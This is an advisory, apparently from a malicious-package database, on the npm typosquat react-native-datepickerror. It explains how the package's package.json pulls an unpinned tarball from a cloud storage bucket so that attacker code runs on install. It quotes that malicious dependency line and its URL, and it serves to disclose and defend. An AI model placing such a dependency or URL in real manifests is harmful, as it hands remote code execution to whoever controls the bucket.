MAL-2026-20197
Malicious code in react-native-datepickerror (npm)
Impact
react-native-datepickerror@99.9.1 ships an empty index.js stub; its entire effect on install is dependency resolution. package.json declares its only dependency as a direct tarball URL — "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-4.0.6.tgz" — rather than a registry version range. npm install fetches that tarball from a Google Cloud Storage bucket and installs whatever bytes it returns, running any lifecycle scripts inside with no version pin, no registry provenance, and no integrity check; the bucket owner controls code execution on every installer. The package name differs from the popular react-native-datepicker by a single trailing typo, and the version 99.9.1 is implausibly high — both consistent with a typosquat lure designed to win resolution and pull in attacker-controlled code.
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | react-native-datepickerror | unknown | none recorded |